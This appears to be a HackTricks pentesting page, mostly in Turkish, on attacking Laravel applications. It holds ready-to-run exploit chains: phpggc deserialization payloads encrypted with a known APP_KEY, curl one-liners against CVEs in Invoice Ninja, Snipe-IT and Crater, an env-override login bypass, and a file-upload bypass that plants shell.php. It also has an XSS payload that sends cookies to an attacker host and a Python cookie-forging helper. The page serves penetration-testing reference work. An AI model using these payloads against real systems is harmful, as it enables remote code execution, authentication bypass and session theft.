Laravel

Tip

AWS Hacking’i öğrenin ve pratik yapın:HackTricks Training AWS Red Team Expert (ARTE)
GCP Hacking’i öğrenin ve pratik yapın: HackTricks Training GCP Red Team Expert (GRTE) Azure Hacking’i öğrenin ve pratik yapın: HackTricks Training Azure Red Team Expert (AzRTE)

HackTricks'i Destekleyin

Laravel SQLInjection

Bununla ilgili bilgileri burada okuyun: https://stitcher.io/blog/unsafe-sql-functions-in-laravel


APP_KEY & Şifreleme iç yapısı (Laravel \u003e=5.6)

Laravel, altında (Illuminate\\Encryption\\Encrypter) AES-256-CBC (veya GCM) ile HMAC bütünlüğü kullanır. Sonunda istemciye gönderilen ham şifreli metin, aşağıdaki gibi bir JSON nesnesinin Base64’i’dir:

{
"iv"   : "Base64(random 16-byte IV)",
"value": "Base64(ciphertext)",
"mac"  : "HMAC_SHA256(iv||value, APP_KEY)",
"tag"  : ""                 // only used for AEAD ciphers (GCM)
}

encrypt($value, $serialize=true) varsayılan olarak düz metni serialize() ederken, decrypt($payload, $unserialize=true) çözülmüş değeri otomatik olarak unserialize() eder. Bu nedenle 32 baytlık gizli APP_KEY’i bilen herhangi bir saldırgan, şifrelenmiş bir PHP serialized object oluşturup magic methods (__wakeup, __destruct, …) aracılığıyla RCE elde edebilir.

Minimal PoC (framework ≥9.x):

use Illuminate\Support\Facades\Crypt;

$chain = base64_decode('<phpggc-payload>'); // e.g. phpggc Laravel/RCE13 system id -b -f
$evil  = Crypt::encrypt($chain);            // JSON->Base64 cipher ready to paste

Üretilen string’i herhangi bir zayıf decrypt() sink’ine (route param, cookie, session, …) enjekte edin.


laravel-crypto-killer 🧨

laravel-crypto-killer tüm süreci otomatikleştirir ve kullanışlı bir bruteforce modu ekler:

# Encrypt a phpggc chain with a known APP_KEY
laravel_crypto_killer.py encrypt -k "base64:<APP_KEY>" -v "$(phpggc Laravel/RCE13 system id -b -f)"

# Decrypt a captured cookie / token
laravel_crypto_killer.py decrypt -k <APP_KEY> -v <cipher>

# Try a word-list of keys against a token (offline)
laravel_crypto_killer.py bruteforce -v <cipher> -kf appkeys.txt

The script transparently supports both CBC and GCM payloads and re-generates the HMAC/tag field.


Real-world vulnerable patterns

ProjeZafiyetli sinkGadget chain
Invoice Ninja ≤v5 (CVE-2024-55555)/route/{hash}decrypt($hash)Laravel/RCE13
Snipe-IT ≤v6 (CVE-2024-48987)XSRF-TOKEN cookie, Passport::withCookieSerialization() etkinleştirildiğindeLaravel/RCE9
Crater (CVE-2024-55556)SESSION_DRIVER=cookielaravel_session cookieLaravel/RCE15

İstismar iş akışı her zaman:

  1. 32-byte APP_KEY’i elde edin veya brute-force yapın.
  2. PHPGGC ile bir gadget chain oluşturun (ör. Laravel/RCE13, Laravel/RCE9 veya Laravel/RCE15).
  3. Serileştirilmiş gadget’ı laravel_crypto_killer.py ve elde edilen APP_KEY ile şifreleyin.
  4. Şifre metnini zafiyetli decrypt() sink’ine (route parameter, cookie, session …) gönderin ve RCE tetikleyin.

Aşağıda, yukarıda bahsedilen her gerçek dünya CVE’si için tam saldırı yolunu gösteren kısa one-liner’lar bulunmaktadır:

# Invoice Ninja ≤5 – /route/{hash}
php8.2 phpggc Laravel/RCE13 system id -b -f | \
./laravel_crypto_killer.py encrypt -k <APP_KEY> -v - | \
xargs -I% curl "https://victim/route/%"

# Snipe-IT ≤6 – XSRF-TOKEN cookie
php7.4 phpggc Laravel/RCE9 system id -b | \
./laravel_crypto_killer.py encrypt -k <APP_KEY> -v - > xsrf.txt
curl -H "Cookie: XSRF-TOKEN=$(cat xsrf.txt)" https://victim/login

# Crater – cookie-based session
php8.2 phpggc Laravel/RCE15 system id -b > payload.bin
./laravel_crypto_killer.py encrypt -k <APP_KEY> -v payload.bin --session_cookie=<orig_hash> > forged.txt
curl -H "Cookie: laravel_session=<orig>; <cookie_name>=$(cat forged.txt)" https://victim/login

Çünkü her yeni Laravel yanıtı en az 1 şifrelenmiş cookie (XSRF-TOKEN ve genellikle laravel_session) ayarlar, public internet scanners (Shodan, Censys, …) leak milyonlarca ciphertext içerir ve bunlar offline olarak saldırılabilir.

Synacktiv tarafından yayımlanan araştırmanın ana bulguları (2024-2025):

  • Veri kümesi Temmuz 2024 » 580 k tokens, 3.99 % keys cracked (≈23 k)
  • Veri kümesi Mayıs 2025 » 625 k tokens, 3.56 % keys cracked
  • 1 000 sunucu hâlâ legacy CVE-2018-15133’e karşı savunmasız çünkü tokens doğrudan serialized data içeriyor.

  • Büyük key reuse – Top-10 APP_KEY’ler, ticari Laravel şablonlarıyla (UltimatePOS, Invoice Ninja, XPanel, …) birlikte gelen hard-coded defaults.

Özel Go aracı nounours, AES-CBC/GCM bruteforce throughput’unu ~1.5 billion tries/s seviyesine çıkarıyor ve tüm veri kümesinin kırılmasını <2 dakika’ye indiriyor.

CVE-2024-52301 – HTTP argv/env override → auth bypass

PHP’de register_argc_argv=On olduğunda (birçok distro’da tipik), PHP query string’den türetilen HTTP istekleri için bir argv dizisi açığa çıkarır. Yeni Laravel sürümleri bu “CLI-like” argümanları parse etti ve runtime’da --env=<value>’u dikkate aldı. Bu, framework ortamını mevcut HTTP isteği için herhangi bir URL’nin sonuna ekleyerek değiştirmeye izin verir:

  • Quick check:

  • https://target/?--env=local adresini veya herhangi bir string’i ziyaret edin ve environment’a bağlı değişikliklere bakın (debug banners, footers, verbose errors). Eğer string yansıtılıyorsa override çalışıyor.

  • Impact example (business logic trusting a special env):

  • Eğer uygulama if (app()->environment('preprod')) { /* bypass auth */ } gibi dallanmalar içeriyorsa, geçerli kimlik bilgileri olmadan kimlik doğrulayabilirsiniz; login POST’unu şu adrese gönderin:

  • POST /login?--env=preprod

  • Notes:

  • İstek başına çalışır, kalıcı değildir.

  • Gerektirir register_argc_argv=On ve HTTP için argv okuyan zafiyetli bir Laravel sürümü.

  • “debug” env’lerinde daha ayrıntılı hataları ortaya çıkarmak veya environment-gated kod yollarını tetiklemek için kullanışlı bir primitive.

  • Mitigations:

  • PHP-FPM/Apache için register_argc_argv’i devre dışı bırakın.

  • Laravel’i argv’yi HTTP isteklerinde yok sayacak şekilde güncelleyin ve production rotalarında app()->environment()’a dayanan güven varsayımlarını kaldırın.

Minimal exploitation flow (Burp):

POST /login?--env=preprod HTTP/1.1
Host: target
Content-Type: application/x-www-form-urlencoded
...
email=a@b.c&password=whatever&remember=0xdf

CVE-2025-27515 – Wildcard file validation bypass (files.*)

Laravel 10.0–10.48.28, 11.0.0–11.44.0 and 12.0.0–12.1.0, hazırlanmış multipart isteklerin files.* / images.* ile ilişkilendirilmiş kuralları tamamen atlamasına izin veriyor. Wildcard anahtarları genişleten parser, saldırgan kontrollü placeholder’larla (örneğin, __asterisk__ segmentlerini önceden doldurma) karışabiliyor; bu yüzden framework UploadedFile objelerini image, mimes, dimensions, max vb. kuralları hiç çalıştırmadan hydrate edebiliyor. Kötücül bir blob Storage::putFile* içine düştüğünde, HackTricks’te zaten listelenmiş olan file-upload primitive’lerine (web shells, log poisoning, signed job deserialization, …) pivot yapabilirsiniz.

Pattern için avlanma

  • Statik: rg -n "files\\.\*" -g"*.php" app/ veya rules() içinde files.* içeren diziler döndüren FormRequest sınıflarını inceleyin.
  • Dinamik: vulnerable rule’a çarpan her isteği loglamak için pre-production ortamında Xdebug veya Laravel Telescope ile Illuminate\Validation\Validator::validate()’i hook’layın.
  • Middleware/route incelemesi: birden fazla dosya bir arada işleyen endpoint’ler (avatar yükleyicileri, belge portalları, sürükle-bırak bileşenleri) genellikle files.*’e fazla güvenme eğilimindedir.

Pratik istismar iş akışı

  1. Geçerli bir upload’u yakalayın ve Burp Repeater’da yeniden oynatın.
  2. Aynı part’ı çoğaltın ancak alan adını, placeholder token’larını zaten içerecek şekilde değiştirin (ör. files[0][__asterisk__payload]) veya başka bir array içine gömün (files[0][alt][0]). Vulnerable build’lerde, o ikinci parça asla validate edilmez ama yine de bir UploadedFile girdisi haline gelir.
  3. Sahte dosyayı bir PHP payload’a yönlendirin (shell.php, .phar, polyglot) ve uygulamanın bunu web erişilebilir bir diske kaydetmesini zorlayın (genellikle public/, php artisan storage:link etkinleştirildiğinde).
curl -sk https://target/upload \
-F 'files[0]=@ok.png;type=image/png' \
-F 'files[0][__asterisk__payload]=@shell.php;type=text/plain' \
-F 'description=lorem'

Keep fuzzing key names (files.__dot__0, files[0][0], files[0][uuid] …) until you find one that bypasses the validator but still gets written to disk; patched versions reject these crafted attribute names immediately.


Laravel İpuçları

Hata ayıklama modu

Eğer Laravel hata ayıklama modunda ise kod ve hassas verilere erişebileceksiniz.
Örneğin http://127.0.0.1:8000/profiles:

Bu genellikle diğer Laravel RCE CVE’lerini istismar etmek için gereklidir.

CVE-2024-13918 / CVE-2024-13919 – reflected XSS in Whoops debug pages

  • Etkilenenler: Laravel 11.9.0–11.35.1 with APP_DEBUG=true (either globally or forced via misconfigured env overrides like CVE-2024-52301).
  • Mekanizma: Whoops tarafından render edilen yakalanmamış her istisna, isteğin/rotanın parçalarını HTML kodlaması olmadan yansıtır, bu yüzden bir route veya istek parametresine <img src> / <script> enjekte etmek, kimlik doğrulamadan önce response üzerinde depolanan XSS üretir.
  • Etkisi: XSRF-TOKEN’i çalmak, leak stack traces with secrets, hedef oturumlarda _ignition/execute-solution’e ulaşmak için tarayıcı tabanlı pivot açmak veya çerezlere dayanan passwordless dashboard’larla zincirlemek.

Minimal PoC:

// blade/web.php (attacker-controlled param reflected)
Route::get('/boom/{id}', function ($id) {
abort(500);
});
curl -sk "https://target/boom/%3Cscript%3Efetch('//attacker/x?c='+document.cookie)%3C/script%3E"

Even if debug mode is normally off, forcing an error via background jobs or queue workers and probing the _ignition/health-check endpoint often reveals staging hosts that still expose this chain.

Fingerprinting & exposed dev endpoints

Üretim ortamında açığa çıkmış bir Laravel yığını ve tehlikeli geliştirici araçlarını tespit etmek için hızlı kontroller:

  • /_ignition/health-check → Ignition present (debug tool used by CVE-2021-3129). Eğer kimlik doğrulama olmadan erişilebiliyorsa, uygulama debug modunda olabilir veya yanlış yapılandırılmıştır.
  • /_debugbar → Laravel Debugbar varlıkları; genellikle debug modunu gösterir.
  • /telescope → Laravel Telescope (geliştirici izleme aracı). Eğer halka açıksa, geniş bilgi açıklaması ve olası işlemler beklenir.
  • /horizon → Kuyruk panosu; sürüm bilgisi açıklanması ve bazen CSRF ile korunan işlemler.
  • X-Powered-By, cookies XSRF-TOKEN and laravel_session, and Blade error pages also help fingerprint.
# Nuclei quick probe
nuclei -nt -u https://target -tags laravel -rl 30
# Manual spot checks
for p in _ignition/health-check _debugbar telescope horizon; do curl -sk https://target/$p | head -n1; done

.env

Laravel, cookies ve diğer kimlik bilgilerini şifrelemek için kullandığı APP’i .env adlı bir dosyada saklar; bu dosyaya /../.env gibi bir path traversal ile erişilebilir.

Laravel ayrıca bu bilgileri debug sayfasında da gösterir (Laravel bir hata bulduğunda ve debug etkinse görünür).

Laravel’in gizli APP_KEY’ini kullanarak cookies’leri decrypt ve re-encrypt edebilirsiniz:

Decrypt/encrypt cookies helper (Python) ```python import os import json import hashlib import sys import hmac import base64 import string import requests from Crypto.Cipher import AES from phpserialize import loads, dumps

#https://gist.github.com/bluetechy/5580fab27510906711a2775f3c4f5ce3

def mcrypt_decrypt(value, iv): global key AES.key_size = [len(key)] crypt_object = AES.new(key=key, mode=AES.MODE_CBC, IV=iv) return crypt_object.decrypt(value)

def mcrypt_encrypt(value, iv): global key AES.key_size = [len(key)] crypt_object = AES.new(key=key, mode=AES.MODE_CBC, IV=iv) return crypt_object.encrypt(value)

def decrypt(bstring): global key dic = json.loads(base64.b64decode(bstring).decode()) mac = dic[‘mac’] value = bytes(dic[‘value’], ‘utf-8’) iv = bytes(dic[‘iv’], ‘utf-8’) if mac == hmac.new(key, iv+value, hashlib.sha256).hexdigest(): return mcrypt_decrypt(base64.b64decode(value), base64.b64decode(iv)) #return loads(mcrypt_decrypt(base64.b64decode(value), base64.b64decode(iv))).decode() return ‘’

def encrypt(string): global key iv = os.urandom(16) #string = dumps(string) padding = 16 - len(string) % 16 string += bytes(chr(padding) * padding, ‘utf-8’) value = base64.b64encode(mcrypt_encrypt(string, iv)) iv = base64.b64encode(iv) mac = hmac.new(key, iv+value, hashlib.sha256).hexdigest() dic = {‘iv’: iv.decode(), ‘value’: value.decode(), ‘mac’: mac} return base64.b64encode(bytes(json.dumps(dic), ‘utf-8’))

app_key =‘HyfSfw6tOF92gKtVaLaLO4053ArgEf7Ze0ndz0v487k=’ key = base64.b64decode(app_key) decrypt(‘eyJpdiI6ImJ3TzlNRjV6bXFyVjJTdWZhK3JRZ1E9PSIsInZhbHVlIjoiQ3kxVDIwWkRFOE1sXC9iUUxjQ2IxSGx1V3MwS1BBXC9KUUVrTklReit0V2k3TkMxWXZJUE02cFZEeERLQU1PV1gxVForYkd1dWNhY3lpb2Nmb0J6YlNZR28rVmk1QUVJS3YwS3doTXVHSlxcL1JGY0t6YzhaaGNHR1duSktIdjF1elxcLzV4a3dUOElZVzMw aG01dGk5MXFkSmQrMDJMK2F4cFRkV0xlQ0REVU1RTW5TNVMrNXRybW9rdFB4VitTcGQ0QlVlR3Vwam1IdERmaDRiMjBQS05VXC90SzhDMUVLbjdmdkUyMnQyUGtadDJHSEIyQm95SVQxQzdWXC9JNWZKXC9VZHI4Sll4Y3ErVjdLbXplTW4yK25pTGxMUEtpZVRIR090RlF0SHVkM0VaWU8yODhtaTRXcVErdUlhYzh4OXNacXJrVytqd1hjQ3FMaDhWeG5NMXFxVXB1b2V2QVFIeFwvakRsd1pUY0h6UUR6Q0UrcktDa3lFOENIeFR0bXIrbWxOM1FJaVpsTWZkSCtFcmd3aXVMZVRKYXl0RXN3cG5EMitnanJyV0xkU0E3SEUrbU0rUjlENU9YMFE0eTRhUzAyeEJwUTFsU1JvQ3d3UnIyaEJiOHA1Wmw1dz09IiwibWFjIjoiNmMzODEzZTk4MGRhZWVhMmFhMDI4MWQzMmRkNjgwNTVkMzUxMmY1NGVmZWUzOWU4ZTJhNjBiMGI5Mjg2NzVlNSJ9’) #b’{“data”:“a:6:{s:6:"_token";s:40:"vYzY0IdalD2ZC7v9yopWlnnYnCB2NkCXPbzfQ3MV";s:8:"username";s:8:"guestc32";s:5:"order";s:2:"id";s:9:"direction";s:4:"desc";s:6:"_flash";a:2:{s:3:"old";a:0:{}s:3:"new";a:0:{}}s:9:"_previous";a:1:{s:3:"url";s:38:"http:\/\/206.189.25.23:31031\/api\/configs";}}”,“expires”:1605140631}\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e’ encrypt(b’{“data”:“a:6:{s:6:"_token";s:40:"RYB6adMfWWTSNXaDfEw74ADcfMGIFC2SwepVOiUw";s:8:"username";s:8:"guest60e";s:5:"order";s:8:"lolololo";s:9:"direction";s:4:"desc";s:6:"_flash";a:2:{s:3:"old";a:0:{}s:3:"new";a:0:{}}s:9:"_previous";a:1:{s:3:"url";s:38:"http:\/\/206.189.25.23:31031\/api\/configs";}}”,“expires”:1605141157}’)

</details>

### Laravel Deserialization RCE

Etkilenen sürümler: 5.5.40 and 5.6.x through 5.6.29 ([https://www.cvedetails.com/cve/CVE-2018-15133/](https://www.cvedetails.com/cve/CVE-2018-15133/))

Deserialization zafiyeti ile ilgili bilgiyi şuradan bulabilirsiniz: [https://labs.withsecure.com/archive/laravel-cookie-forgery-decryption-and-rce/](https://labs.withsecure.com/archive/laravel-cookie-forgery-decryption-and-rce/)

Bunu test edebilir ve exploit edebilirsiniz kullanarak [https://github.com/kozmic/laravel-poc-CVE-2018-15133](https://github.com/kozmic/laravel-poc-CVE-2018-15133)\
Veya metasploit ile de exploit edebilirsiniz: `use unix/http/laravel_token_unserialize_exec`

### CVE-2021-3129

Başka bir deserialization: [https://github.com/ambionics/laravel-exploits](https://github.com/ambionics/laravel-exploits)



## Kaynaklar
* [Laravel: APP_KEY leakage analysis (EN)](https://www.synacktiv.com/publications/laravel-appkey-leakage-analysis.html)
* [Laravel : analyse de fuite d’APP_KEY (FR)](https://www.synacktiv.com/publications/laravel-analyse-de-fuite-dappkey.html)
* [laravel-crypto-killer](https://github.com/synacktiv/laravel-crypto-killer)
* [PHPGGC – PHP Generic Gadget Chains](https://github.com/ambionics/phpggc)
* [CVE-2018-15133 write-up (WithSecure)](https://labs.withsecure.com/archive/laravel-cookie-forgery-decryption-and-rce)
* [CVE-2024-52301 advisory – Laravel argv env detection](https://github.com/advisories/GHSA-gv7v-rgg6-548h)
* [CVE-2024-52301 PoC – register_argc_argv HTTP argv → --env override](https://github.com/Nyamort/CVE-2024-52301)
* [0xdf – HTB Environment (CVE‑2024‑52301 env override → auth bypass)](https://0xdf.gitlab.io/2025/09/06/htb-environment.html)
* [GHSA-78fx-h6xr-vch4 – Laravel wildcard file validation bypass (CVE-2025-27515)](https://github.com/laravel/framework/security/advisories/GHSA-78fx-h6xr-vch4)
* [SBA Research – CVE-2024-13919 reflected XSS in debug-mode error page](http://www.openwall.com/lists/oss-security/2025/03/10/4)


> [!TIP]
> AWS Hacking'i öğrenin ve pratik yapın:<img src="../../../../../images/arte.png" alt="" style="width:auto;height:24px;vertical-align:middle;">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="../../../../../images/arte.png" alt="" style="width:auto;height:24px;vertical-align:middle;">\
> GCP Hacking'i öğrenin ve pratik yapın: <img src="../../../../../images/grte.png" alt="" style="width:auto;height:24px;vertical-align:middle;">[**HackTricks Training GCP Red Team Expert (GRTE)**](https://training.hacktricks.xyz/courses/grte)<img src="../../../../../images/grte.png" alt="" style="width:auto;height:24px;vertical-align:middle;">
> Azure Hacking'i öğrenin ve pratik yapın: <img src="../../../../../images/azrte.png" alt="" style="width:auto;height:24px;vertical-align:middle;">[**HackTricks Training Azure Red Team Expert (AzRTE)**](https://training.hacktricks.xyz/courses/azrte)<img src="../../../../../images/azrte.png" alt="" style="width:auto;height:24px;vertical-align:middle;">
>
> <details>
>
> <summary>HackTricks'i Destekleyin</summary>
>
> - [**abonelik planlarını**](https://github.com/sponsors/carlospolop) kontrol edin!
> - **💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) katılın ya da **Twitter'da** bizi **takip edin** 🐦 [**@hacktricks_live**](https://twitter.com/hacktricks_live)**.**
> - **Hacking ipuçlarını paylaşmak için** [**HackTricks**](https://github.com/carlospolop/hacktricks) ve [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github reposuna PR gönderin.
>
> </details>